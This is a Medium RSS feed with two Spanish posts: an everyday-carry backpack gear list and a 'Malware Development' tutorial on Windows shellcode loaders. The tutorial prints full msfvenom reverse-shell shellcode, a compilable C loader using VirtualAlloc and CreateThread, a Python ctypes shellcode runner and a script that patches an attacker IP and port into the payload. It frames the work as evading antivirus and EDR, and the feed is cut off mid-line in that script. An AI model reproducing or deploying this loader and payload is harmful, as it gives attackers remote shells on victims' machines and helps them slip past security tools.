<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Vay3t on Medium]]></title>
        <description><![CDATA[Stories by Vay3t on Medium]]></description>
        <link>https://medium.com/@vay3t?source=rss-470deab256ba------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*eFlJ_yAyDGb91mEB_5yGFw.png</url>
            <title>Stories by Vay3t on Medium</title>
            <link>https://medium.com/@vay3t?source=rss-470deab256ba------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sat, 21 Nov 2026 22:36:51 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@vay3t/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Estilo de vida — Mochila EDC Get Home]]></title>
            <link>https://vay3t.medium.com/estilo-de-vida-mochila-edc-get-home-6135a61c6ab2?source=rss-470deab256ba------2</link>
            <guid isPermaLink="false">https://medium.com/p/6135a61c6ab2</guid>
            <category><![CDATA[estilo-de-vida]]></category>
            <category><![CDATA[get-home-bag]]></category>
            <category><![CDATA[urbano]]></category>
            <category><![CDATA[edc]]></category>
            <category><![CDATA[preppers]]></category>
            <dc:creator><![CDATA[Vay3t]]></dc:creator>
            <pubDate>Sat, 21 Jun 2025 20:57:38 GMT</pubDate>
            <atom:updated>2025-06-22T01:40:12.470Z</atom:updated>
            <content:encoded><![CDATA[<h3>Estilo de vida — Mochila EDC Get Home</h3><p>Mochila <strong>EDC</strong> para llegar a casa, en caso de cualquier circunstancia.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*98LlxFR5ABRrmEPKJtHKnQ.jpeg" /></figure><p>Cuántas veces has necesitado llegar a tu hogar después de algún incidente en el centro de la ciudad, como desorden del orden público, inicios de pandemia, cortes de luz, paralización de la locomoción colectiva, después de una fiesta quedas varado en la noche sin donde quedarte? En este post se verá una guía de preparación para estos tipos de casos los cuales podrás superar con las herramientas necesarias.</p><p><em>~ En otras palabras llevar tu casa en la mochila, un EDC ~</em></p><blockquote>Es necesario tener en cuenta que esto es solo una recomendación. Tienes que ver con que artefactos y configuración quedas mejor para tu día a día.</blockquote><p>Es necesario tener en cuenta de que este post es complementario al <strong>Estilo de vida — EDC Urbano</strong> que publiqué anteriormente</p><p><a href="https://vay3t.medium.com/estilo-de-vida-edc-urbano-43320f0308ae">Estilo de vida — EDC Urbano</a></p><h3>Para qué un EDC?</h3><p>Un <strong>EDC</strong> (<em>Everyday Carry</em>) hace referencia a los objetos que una persona lleva consigo diariamente para estar preparada tanto para situaciones cotidianas como para posibles emergencias. Estar prevenido siempre es una ventaja, y contar con lo necesario al alcance de la mano resulta especialmente útil. En esta entrada, se presenta una configuración de herramientas y objetos basada en un estudio no formal y en la experiencia personal, con el objetivo de identificar aquellos elementos que ofrecen mayor utilidad y demanda en la rutina diaria.</p><h3>Para qué una mochila Get Home?</h3><p>Para quienes están familiarizados con el <strong>preparacionismo</strong>, se trata de una mochila diseñada para facilitar el regreso a casa sin mayores contratiempos, estando completamente preparados ante cualquier eventualidad. Esta eventualidad debe ser relativamente común en el contexto del país en el que resides. En este caso, el post está enfocado en estar preparado para cuando <em>“no reine la tranquilidad”</em>, es prudente estar prevenido, especialmente si trabajas en el ámbito de la informática.</p><h3>Pygmy Falcon-II Backpack 18L</h3><p>Mochila donde guardarás todo, esta enfocado aparte de guardar las cosas para estar preparado, tus implementos de trabajo, como notebook, cables, cargadores, power banks (batería externa), etc.</p><ul><li><a href="https://www.maxpedition.com/collections/legacy/products/pygmy-falcon-ii-backpack?variant=27868266897">https://www.maxpedition.com/collections/legacy/products/pygmy-falcon-ii-backpack?variant=27868266897</a></li></ul><h3>Funda neopreno para el computador</h3><p>Es complicado dado al tipo de mochila, el tener afirmado el computador por lo cual es útil tener una funda blanda acolchada para protegerlo de los golpes y movimientos.</p><ul><li><a href="https://www.amazon.com/-/es/transporte-port%C3%A1til-pulgadas-MacBook-Notebook/dp/B071KW4W34/">https://www.amazon.com/-/es/transporte-port%C3%A1til-pulgadas-MacBook-Notebook/dp/B071KW4W34/</a></li></ul><h3>Anker Prime 27,650mAh Power Bank (250W)</h3><p>Este banco de energía puede ir en la parte del segundo cierre contando desde afuera hacia dentro, siempre es bueno tener energía para todos los casos, como cargar el computador, el teléfono o accesorios adicionales como audífonos o relojes inteligentes.</p><ul><li><a href="https://www.anker.com/products/a1340-250w-power-bank?variant=43739694465174">https://www.anker.com/products/a1340-250w-power-bank?variant=43739694465174</a></li></ul><h3>Hak5 Elite Organizer</h3><p>Para tener tus cables, y artefactos de trabajo de un informático.</p><ul><li><a href="https://shop.hak5.org/collections/organizers-1/products/hak5-elite-morale-organizer">https://shop.hak5.org/collections/organizers-1/products/hak5-elite-morale-organizer</a></li></ul><h3>Maxpedition Bolsa con tapa pequeña (para agua)</h3><p>Tener un compartimiento para tener agua siempre es útil, lo puedes amarrar con un <a href="https://www.amazon.com/dp/B001LX8DYK">Grimloc</a> para que quede más firme. Éste se coloca en la parte superior izquierda, arriba del botiquín.</p><ul><li><a href="https://www.amazon.com/dp/B004Q58P1G">https://www.amazon.com/dp/B004Q58P1G</a></li></ul><h3>Grimloc – Paquete de 4, color negro</h3><p>Útiles para afirmar organizadores o para tener amarrados gorros o bolsas.</p><ul><li><a href="https://www.amazon.com/dp/B001LX8DYK">https://www.amazon.com/dp/B001LX8DYK</a></li></ul><h3>Comida</h3><p>Es recomendable tener algunas unidades de comida en caso de que el hambre este acechando y no tengas donde comer.</p><ul><li><a href="https://thewildfoods.com/collections/carrusel-barritas/products/wild-protein-caramel-5-unidades">https://thewildfoods.com/collections/carrusel-barritas/products/wild-protein-caramel-5-unidades</a></li></ul><h3>Libreta y lápiz</h3><p>Siempre es útil en caso de que no haya energía eléctrica de ningún tipo, tener donde anotar.</p><ul><li><a href="https://articulo.mercadolibre.cl/MLC-1473070749-libreta-de-bolsillo-hojas-cuadriculadas-_JM">https://articulo.mercadolibre.cl/MLC-1473070749-libreta-de-bolsillo-hojas-cuadriculadas-_JM</a></li><li><a href="https://www.amazon.com/BIC-MSP101-Blu-Cristal-Smooth-10-Count/dp/B0010O094W">https://www.amazon.com/BIC-MSP101-Blu-Cristal-Smooth-10-Count/dp/B0010O094W</a></li></ul><h3>Cortaviento Hombre Houdini® Jacket</h3><p>Útil para cuando hace frío o te pilla la noche, también en ocasiones alguna que otra lluvia.</p><ul><li><a href="https://www.patagonia.com/product/mens-houdini-windbreaker-jacket/24142.html">https://www.patagonia.com/product/mens-houdini-windbreaker-jacket/24142.html</a></li></ul><h3><strong>Rothco Shemagh Tactical Desert Keffiyeh Scarf</strong></h3><p>Sirve para abrigar el rostro, una forma de mantenerte caliente y protegido.</p><ul><li><a href="https://www.rothco.com/product/rothco-shemagh-tactical-desert-keffiyeh-scarf">https://www.rothco.com/product/rothco-shemagh-tactical-desert-keffiyeh-scarf</a></li></ul><h3>Miniorganizador de bolsillo Maxpedition (2 unidades)</h3><p>Se recomienda tener dos organizadores, uno para elementos de higiene y otro para herramientas complementarias el cual podrías ocupar en alguna oportunidad. Estos organizadores van en la parte derecha de la mochila según la foto de referencia. Puedes fortalecer uno de ellos con una brida reutilizable. Estos organizadores deben ir amarrados con un <a href="https://www.amazon.com/dp/B01LWMCUPF">TacTie PJC3</a>.</p><ul><li><a href="https://www.amazon.com/dp/B005CSYU6K?th=1">https://www.amazon.com/dp/B005CSYU6K?th=1</a></li></ul><h4>Encendedor</h4><p>Se recomienda envuelto con <a href="https://www.amazon.com/-/es/Gorilla-adhesiva-llevar-yardas-paquete/dp/B01M2AAGTZ">Gorilla Tape</a>, esto es útil como iniciador de fuego.</p><ul><li><a href="https://www.amazon.com/Bic-Lighter-Full-Size-Piece/dp/B003MTDY7W">https://www.amazon.com/Bic-Lighter-Full-Size-Piece/dp/B003MTDY7W</a></li></ul><h4>Bit kit para la multitool Charge®+ TTi</h4><ul><li><a href="https://www.leatherman.com/products/bit-kit-set?_pos=1&amp;_psq=bit&amp;_ss=e&amp;_v=1.0">https://www.leatherman.com/products/bit-kit-set?_pos=1&amp;_psq=bit&amp;_ss=e&amp;_v=1.0</a></li></ul><h3>Botiquín</h3><ul><li><a href="https://www.deuter.com/int-en/shop/accessories/p781273-first-aid-kit-first-aid-kit">https://www.deuter.com/int-en/shop/accessories/p781273-first-aid-kit-first-aid-kit</a></li></ul><p>El contenido del botiquín queda a tu criterio en donde puedes ver que son las cosas más necesarias, acá te sugiero lo siguiente en donde a mi criterio es la configuración más completa. Este se coloca en el costado inferior izquierda según la imagen.</p><h4>Lente Fresnel</h4><ul><li><a href="https://www.amazon.com/dp/B06WD3HSZJ?th=1">https://www.amazon.com/dp/B06WD3HSZJ?th=1</a></li></ul><h4>Multitool</h4><ul><li><a href="https://www.leatherman.com/products/micra">https://www.leatherman.com/products/micra</a></li></ul><h4>Cloruro De Sodio 0.9% (20ml)</h4><ul><li><a href="https://salcobrand.cl/products/cloruro-de-sodio-0-9-20ml-inyectable-4-ampollas">https://salcobrand.cl/products/cloruro-de-sodio-0-9-20ml-inyectable-4-ampollas</a></li></ul><h4>Guantes de nitrilo (4 unidades)</h4><ul><li><a href="https://www.amazon.com/-/es/TitanFlex-desechables-unidades-resistentes-alimentos/dp/B0BR7RY18Y">https://www.amazon.com/-/es/TitanFlex-desechables-unidades-resistentes-alimentos/dp/B0BR7RY18Y</a></li></ul><h4>Alcohol Pad</h4><ul><li><a href="https://www.amazon.com/-/es/Numedico-Almohadillas-preparaci%C3%B3n-isopropilo-unidades/dp/B0DXNBSWJB">https://www.amazon.com/-/es/Numedico-Almohadillas-preparaci%C3%B3n-isopropilo-unidades/dp/B0DXNBSWJB</a></li></ul><h4>Parches curita</h4><ul><li><a href="https://www.amazon.com/-/es/ecol%C3%B3gicos-hipoalerg%C3%A9nico-sensibles-compostables-biodegradables/dp/B0C9H4H3RZ">https://www.amazon.com/-/es/ecol%C3%B3gicos-hipoalerg%C3%A9nico-sensibles-compostables-biodegradables/dp/B0C9H4H3RZ</a></li></ul><h4>Gasa</h4><ul><li><a href="https://www.amazon.com/-/es/almohadillas-est%C3%A9riles-grandes-heridas-esponjas/dp/B09VPRMM4K?th=1">https://www.amazon.com/-/es/almohadillas-est%C3%A9riles-grandes-heridas-esponjas/dp/B09VPRMM4K?th=1</a></li></ul><h4>Manta térmica</h4><ul><li><a href="https://www.amazon.com/-/es/emergencia-supervivencia-campamento-exteriores-senderismo/dp/B07GLCYR5S/">https://www.amazon.com/-/es/emergencia-supervivencia-campamento-exteriores-senderismo/dp/B07GLCYR5S/</a></li></ul><h4>Ibuprofeno 5% crema (45g)</h4><ul><li><a href="https://www.maver.cl/Productos/farma/dolorub/">https://www.maver.cl/Productos/farma/dolorub/</a></li></ul><h4>Kit de costura</h4><ul><li><a href="https://www.amazon.com/dp/B0B1QD4ZN3">https://www.amazon.com/dp/B0B1QD4ZN3</a></li></ul><h4>Benzocaína 4% (28g)</h4><ul><li><a href="https://www.cruzverde.cl/foille--benzocaina-4-unguento-28-gr/33012.html">https://www.cruzverde.cl/foille--benzocaina-4-unguento-28-gr/33012.html</a></li></ul><h4>Cinta quirúrgica</h4><ul><li><a href="https://www.3mchile.cl/3M/es_CL/p/d/b00042440/">https://www.3mchile.cl/3M/es_CL/p/d/b00042440/</a></li></ul><h4>Sutura adhesiva</h4><ul><li><a href="https://www.amazon.com/-/es/Steri-Strip-transpirables-mantienen-peque%C3%B1as-firmemente/dp/B0012JZVJ8/">https://www.amazon.com/-/es/Steri-Strip-transpirables-mantienen-peque%C3%B1as-firmemente/dp/B0012JZVJ8/</a></li></ul><h4>Medicamentos</h4><ul><li>Paracetamol 1 g x10</li><li>Ibuprofeno 600 mg x10</li><li>Pastilla Antigripal x9</li><li>Pastilla antiácido x6</li><li>Antialérgico x10</li><li>Antimareo — Dimenhidrinato 100 mg x10</li><li>Antidiarreico — Diarem Nifuroxazida 200 mg x10</li><li>Antiemético — Domperidona 10 mg x10</li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=6135a61c6ab2" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Malware Development — Te invito a ejecutar mi primer virus (loader)]]></title>
            <link>https://vay3t.medium.com/malware-development-te-invito-a-ejecutar-mi-primer-virus-loader-08bb30b23465?source=rss-470deab256ba------2</link>
            <guid isPermaLink="false">https://medium.com/p/08bb30b23465</guid>
            <category><![CDATA[malware]]></category>
            <category><![CDATA[python]]></category>
            <category><![CDATA[development]]></category>
            <category><![CDATA[shellcode]]></category>
            <category><![CDATA[c]]></category>
            <dc:creator><![CDATA[Vay3t]]></dc:creator>
            <pubDate>Mon, 19 May 2025 16:15:11 GMT</pubDate>
            <atom:updated>2025-09-10T06:00:00.993Z</atom:updated>
            <content:encoded><![CDATA[<h3>Malware Development — Te invito a ejecutar mi primer virus</h3><p><strong>~</strong> Make <strong>Malware</strong> Great Again <strong>~</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*oeMe7soSbT-GIH9AeNV7pw.png" /></figure><p>El objetivo de esta publicación no es que copies y pegues todo como atolondrado y esperar a que todo funcione mágicamente, sino abrirte las puertas y proporcionarte herramientas de como entender y crear <strong>loaders</strong> por ti mismo, así no tendrás que estar limosneando desde <strong>GitHub</strong> trozos de código rezando que no esté quemado (<em>flagged</em>).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/708/1*dQUmQQFwQi-oBd0WwCgY4w.png" /><figcaption>Un pobre integrante de SOC cada vez que alguien lea esta publicación.</figcaption></figure><h3>Que es un Shellcode?</h3><p>En una <a href="https://medium.com/@vay3t/malware-development-generando-shellcodes-de-metasploit-sin-metasploit-aa120ffcdd92">publicación anterior</a> escribí sobre eso, pero acá te lo dejo para que no tengas que leerlo.</p><p>Es un trozo de código máquina en<strong> </strong>formato<strong> hexadecimal </strong>que contiene instrucciones que se ejecutan directamente en el procesador de una máquina, estos son usados para tener control de la maquina al explotar <em>buffer overflows</em> o <strong>inyectándolo en un proceso</strong> para evasión de <em>sistemas de seguridad</em> del sistema operativo como <strong>AV</strong><em> </em>o <strong>EDR</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*SGDA26kc_kGwFaB88kZtzA.png" /><figcaption><a href="https://defuse.ca/online-x86-assembler.htm">https://defuse.ca/online-x86-assembler.htm</a></figcaption></figure><h3>Que es un loader?</h3><p>Es un programa que ejecuta el <strong>shellcode</strong> usando técnicas evasivas para que el <strong>shellcode</strong> esté resguardado ante detecciones de <strong>AV/EDR</strong>.</p><h3>Generando un shellcode</h3><p>En esta <a href="https://vay3t.medium.com/malware-development-generando-shellcodes-de-metasploit-sin-metasploit-aa120ffcdd92">publicación</a> se habló de como generar un <strong>shellcode</strong> sin <strong>metasploit</strong>, en esa ocasión se hizo para el payload windows/x64/shell_bind_tcp, ahora se hará para windows/x64/shell_reverse_tcp.</p><pre>$ msfvenom -p windows/x64/shell_reverse_tcp LHOST=127.0.0.1 LPORT=4444 EXITFUNC=thread -f python<br>[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload<br>[-] No arch selected, selecting arch: x64 from the payload<br>No encoder specified, outputting raw payload<br>Payload size: 460 bytes<br>Final size of python file: 2280 bytes<br>buf =  b&quot;&quot;<br>buf += b&quot;\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51&quot;<br>buf += b&quot;\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52&quot;<br>buf += b&quot;\x60\x48\x8b\x52\x18\x48\x8b\x52\x20\x48\x8b\x72&quot;<br>buf += b&quot;\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0&quot;<br>buf += b&quot;\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41&quot;<br>buf += b&quot;\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b&quot;<br>buf += b&quot;\x42\x3c\x48\x01\xd0\x8b\x80\x88\x00\x00\x00\x48&quot;<br>buf += b&quot;\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44&quot;<br>buf += b&quot;\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41&quot;<br>buf += b&quot;\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0&quot;<br>buf += b&quot;\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1&quot;<br>buf += b&quot;\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58\x44&quot;<br>buf += b&quot;\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44&quot;<br>buf += b&quot;\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01&quot;<br>buf += b&quot;\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59&quot;<br>buf += b&quot;\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41&quot;<br>buf += b&quot;\x59\x5a\x48\x8b\x12\xe9\x57\xff\xff\xff\x5d\x49&quot;<br>buf += b&quot;\xbe\x77\x73\x32\x5f\x33\x32\x00\x00\x41\x56\x49&quot;<br>buf += b&quot;\x89\xe6\x48\x81\xec\xa0\x01\x00\x00\x49\x89\xe5&quot;<br>buf += b&quot;\x49\xbc\x02\x00\x11\x5c\x7f\x00\x00\x01\x41\x54&quot;<br>buf += b&quot;\x49\x89\xe4\x4c\x89\xf1\x41\xba\x4c\x77\x26\x07&quot;<br>buf += b&quot;\xff\xd5\x4c\x89\xea\x68\x01\x01\x00\x00\x59\x41&quot;<br>buf += b&quot;\xba\x29\x80\x6b\x00\xff\xd5\x50\x50\x4d\x31\xc9&quot;<br>buf += b&quot;\x4d\x31\xc0\x48\xff\xc0\x48\x89\xc2\x48\xff\xc0&quot;<br>buf += b&quot;\x48\x89\xc1\x41\xba\xea\x0f\xdf\xe0\xff\xd5\x48&quot;<br>buf += b&quot;\x89\xc7\x6a\x10\x41\x58\x4c\x89\xe2\x48\x89\xf9&quot;<br>buf += b&quot;\x41\xba\x99\xa5\x74\x61\xff\xd5\x48\x81\xc4\x40&quot;<br>buf += b&quot;\x02\x00\x00\x49\xb8\x63\x6d\x64\x00\x00\x00\x00&quot;<br>buf += b&quot;\x00\x41\x50\x41\x50\x48\x89\xe2\x57\x57\x57\x4d&quot;<br>buf += b&quot;\x31\xc0\x6a\x0d\x59\x41\x50\xe2\xfc\x66\xc7\x44&quot;<br>buf += b&quot;\x24\x54\x01\x01\x48\x8d\x44\x24\x18\xc6\x00\x68&quot;<br>buf += b&quot;\x48\x89\xe6\x56\x50\x41\x50\x41\x50\x41\x50\x49&quot;<br>buf += b&quot;\xff\xc0\x41\x50\x49\xff\xc8\x4d\x89\xc1\x4c\x89&quot;<br>buf += b&quot;\xc1\x41\xba\x79\xcc\x3f\x86\xff\xd5\x48\x31\xd2&quot;<br>buf += b&quot;\x48\xff\xca\x8b\x0e\x41\xba\x08\x87\x1d\x60\xff&quot;<br>buf += b&quot;\xd5\xbb\xe0\x1d\x2a\x0a\x41\xba\xa6\x95\xbd\x9d&quot;<br>buf += b&quot;\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb&quot;<br>buf += b&quot;\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41&quot;<br>buf += b&quot;\x89\xda\xff\xd5&quot;</pre><h3>Metodología de la ejecución del shellcode</h3><p>La estructura principal de un <strong>loader</strong> tiene 3 partes principales, que es la base de su funcionamiento.</p><ol><li><strong>Reservar</strong> un <em>buffer de memoria.</em></li><li><strong>Copiar</strong> el <em>shellcode</em> en el <em>buffer de memoria </em>reservada<em>.</em></li><li><strong>Ejecutar</strong> la dirección de <em>memoria del buffer.</em></li></ol><p>Esta estructura puede sufrir variaciones para añadir complejidad a la ejecución y de esta forma evadir sistemas de seguridad, por ejemplo:</p><ul><li><em>Cifrado y ofuscación</em> del <strong>shellcode</strong>.</li><li>Inyección de <em>procesos/recursos</em> remotos.</li><li><em>Descarga</em> del <strong>shellcode</strong> desde un servidor de archivos para su posterior ejecución.</li><li>Técnicas <em>anti-sandbox</em></li><li>Técnicas <em>anti-hooking</em></li></ul><p>Esta estructura se aplica con <a href="https://learn.microsoft.com/es-es/windows/win32/apiindex/windows-api-list"><em>Windows APIs</em></a>, la cual es una biblioteca inmensa de funciones, estructuras y tipos de datos en donde es posible interactuar con el sistema operativo a bajo nivel, como manipulación de memoria, inyección de procesos, interacción con sesiones y privilegios, entre otras cosas.</p><p>En la siguiente publicación hablo un poco sobre las <strong>Windows APIs</strong> por si quieres echarle un vistazo.</p><p><a href="https://vay3t.medium.com/malware-development-p-invoke-y-d-invoke-689c8e4c547f">Malware Development — P/Invoke y D/Invoke</a></p><h4>Ejemplo en C</h4><pre>#include &lt;windows.h&gt;<br>#include &lt;stdio.h&gt;<br><br>int main() {<br>    // Shellcode con los bytes proporcionados<br>    unsigned char buf[] = &quot;\xfc\x48\x83\xe4...&quot;;<br>    <br>    // Reservar memoria con VirtualAlloc<br>    LPVOID exec_mem = VirtualAlloc(<br>        NULL,<br>        sizeof(buf),<br>        MEM_COMMIT | MEM_RESERVE,<br>        PAGE_EXECUTE_READWRITE<br>    );<br>    <br>    if (exec_mem == NULL) {<br>        printf(&quot;Error en VirtualAlloc: %d\n&quot;, GetLastError());<br>        return 1;<br>    }<br>    <br>    // Copiar el buffer a la memoria reservada<br>    RtlCopyMemory(exec_mem, buf, sizeof(buf));<br>    <br>    // Crear thread para ejecutar el shellcode<br>    HANDLE thread = CreateThread(<br>        NULL,<br>        0,<br>        (LPTHREAD_START_ROUTINE)exec_mem,<br>        NULL,<br>        0,<br>        NULL<br>    );<br>    <br>    if (thread == NULL) {<br>        printf(&quot;Error en CreateThread: %d\n&quot;, GetLastError());<br>        VirtualFree(exec_mem, 0, MEM_RELEASE);<br>        return 1;<br>    }<br>    <br>    // Esperar a que el thread termine con un loop infinito<br>    WaitForSingleObject(thread, INFINITE);<br>    <br>    return 0;<br>}</pre><h4>Instalando el compilador</h4><pre>MacOS $ brew install mingw-w64<br>Linux $ sudo apt install mingw-w64</pre><h4><strong>Compilación</strong></h4><pre>x86_64-w64-mingw32-gcc -mwindows -o test.exe main.c</pre><h4>Testing de shellcode en Windows usando Python</h4><p>Te ahorra tiempo de estar compilando el <strong>loader</strong> a cada rato de manera repetitiva y así pruebas el <strong>shellcode</strong> directamente con la lógica correspondiente, como por ejemplo encodes usados para evadir el <strong>AV</strong>. Para eso necesitas tener instalado <a href="https://www.python.org/downloads/windows/"><em>Python</em></a> y desactivar el antivirus en su totalidad.</p><pre>import ctypes<br>import platform<br><br><br>def run(buf):<br>    # Ejecutar el shellcode en memoria (solo Windows)<br>    if platform.system() == &quot;Windows&quot;:<br>        # Convertir el buffer a un array de ctypes<br>        shellcode = (ctypes.c_ubyte * len(buf)).from_buffer_copy(buf)<br><br>        # Reservar memoria ejecutable<br>        exec_mem = ctypes.windll.kernel32.VirtualAlloc(<br>            None,<br>            len(shellcode),<br>            0x1000,  # MEM_COMMIT<br>            0x40     # PAGE_EXECUTE_READWRITE<br>        )<br><br>        # Copiar el shellcode a la memoria reservada<br>        ctypes.memmove(exec_mem, shellcode, len(shellcode))<br><br>        # Crear y ejecutar thread<br>        thread_handle = ctypes.windll.kernel32.CreateThread(<br>            None,<br>            0,<br>            exec_mem,<br>            None,<br>            0,<br>            None,<br>        )<br><br>        if thread_handle:<br>            print(&quot;Shellcode ejecutándose...&quot;)<br>            ctypes.windll.kernel32.WaitForSingleObject(<br>                thread_handle, 0xFFFFFFFF<br>            )  # INFINITE<br>            ctypes.windll.kernel32.CloseHandle(thread_handle)<br>        else:<br>            print(&quot;Error al crear el thread&quot;)<br>    else:<br>        raise NotImplementedError(&quot;Este script solo es compatible con Windows.&quot;)<br><br>buf =  b&quot;&quot;<br>buf += b&quot;\xfc\x48\x83\xe4...&quot;<br>...<br><br>run(buf)</pre><h4>Generador de <strong>shellcode</strong></h4><p>Basado en el script del post: <a href="https://vay3t.medium.com/malware-development-generando-shellcodes-de-metasploit-sin-metasploit-aa120ffcdd92">Malware Development — Generando Shellcodes de Metasploit sin Metasploit</a>.</p><pre>import sys<br><br><br>def replace_ip_port(buf, ip_str, port):<br>    parts = ip_str.split(&quot;.&quot;)<br>    if len(parts) != 4:<br>        raise ValueError(f&quot;Dirección IPv4 inválida: {ip_str}&quot;)<br><br>    ip = b&quot;&quot;<br>    for part in parts:<br>        try:<br>            octet = int(part)<br>        except ValueError:<br>            raise ValueError(f&quot;Octeto inválido en la dirección IPv4: {part}&quot;)<br>        if octet &lt; 0 or octet &gt; 255:<br>            raise ValueError(f&quot;Octeto fuera de rango en la dirección IPv4: {part}&quot;)<br>        ip += octet.to_bytes(1, &quot;big&quot;)<br><br>    original_pattern = b&quot;\x7f\x00\x00\x01&quot;<br>    buf = buf.replace(original_pattern, ip)<br><br>    if not (0 &lt;= port &lt;= 65535):<br>        raise ValueError(&quot;El puerto debe estar en el rango de 0 a 65535.&quot;)<br><br>    port_hex = port.to_bytes(2, byteorder=&quot;big&quot;)<br>    original_pattern = b&quot;\x11\x5c&quot;<br>    buf = buf.replace(original_pattern, port_hex)<br><br>    return buf<br><br><br># msfvenom -p windows/x64/shell_reverse_tcp LHOST=127.0.0.1 LPORT=4444 EXITFUNC=thread -f python<br>buf = b&quot;&quot;<br>buf += b&quot;\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51&quot;<br>buf += b&quot;\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52&quot;<br>buf += b&quot;\x60\x48\x8b\x52\x18\x48\x8b\x52\x20\x48\x8b\x72&quot;<br>buf += b&quot;\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0&quot;<br>buf += b&quot;\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41&quot;<br>buf += b&quot;\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b&quot;<br>buf += b&quot;\x42\x3c\x48\x01\xd0\x8b\x80\x88\x00\x00\x00\x48&quot;<br>buf += b&quot;\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44&quot;<br>buf += b&quot;\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41&quot;<br>buf += b&quot;\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0&quot;<br>buf += b&quot;\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1&quot;<br>buf += b&quot;\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58\x44&quot;<br>buf += b&quot;\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44&quot;<br>buf += b&quot;\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01&quot;<br>buf += b&quot;\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59&quot;<br>buf += b&quot;\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41&quot;<br>buf += b&quot;\x59\x5a\x48\x8b\x12\xe9\x57\xff\xff\xff\x5d\x49&quot;<br>buf += b&quot;\xbe\x77\x73\x32\x5f\x33\x32\x00\x00\x41\x56\x49&quot;<br>buf += b&quot;\x89\xe6\x48\x81\xec\xa0\x01\x00\x00\x49\x89\xe5&quot;<br>buf += b&quot;\x49\xbc\x02\x00\x11\x5c\x7f\x00\x00\x01\x41\x54&quot;<br>buf += b&quot;\x49\x89\xe4\x4c\x89\xf1\x41\xba\x4c\x77\x26\x07&quot;<br>buf += b&quot;\xff\xd5\x4c\x89\xea\x68\x01\x01\x00\x00\x59\x41&quot;<br>buf += b&quot;\xba\x29\x80\x6b\x00\xff\xd5\x50\x50\x4d\x31\xc9&quot;<br>buf += b&quot;\x4d\x31\xc0\x48\xff\xc0\x48\x89\xc2\x48\xff\xc0&quot;<br>buf += b&quot;\x48\x89\xc1\x41\xba\xea\x0f\xdf\xe0\xff\xd5\x48&quot;<br>buf += b&quot;\x89\xc7\x6a\x10\x41\x58\x4c\x89\xe2\x48\x89\xf9&quot;<br>buf += b&quot;\x41\xba\x99\xa5\x74\x61\xff\xd5\x48\x81\xc4\x40&quot;<br>buf += b&quot;\x02\x00\x00\x49\xb8\x63\x6d\x64\x00\x00\x00\x00&quot;<br>buf += b&quot;\x00\x41\x50\x41\x50\x48\x89\xe2\x57\x57\x57\x4d&quot;<br>buf += b&quot;\x31\xc0\x6a\x0d\x59\x41\x50\xe2\xfc\x66\xc7\x44&quot;<br>buf += b&quot;\x24\x54\x01\x01\x48\x8d\x44\x24\x18\xc6\x00\x68&quot;<br>buf += b&quot;\x48\x89\xe6\x56\x50\x41\x50\x41\x50\x41\x50\x49&quot;<br>buf += 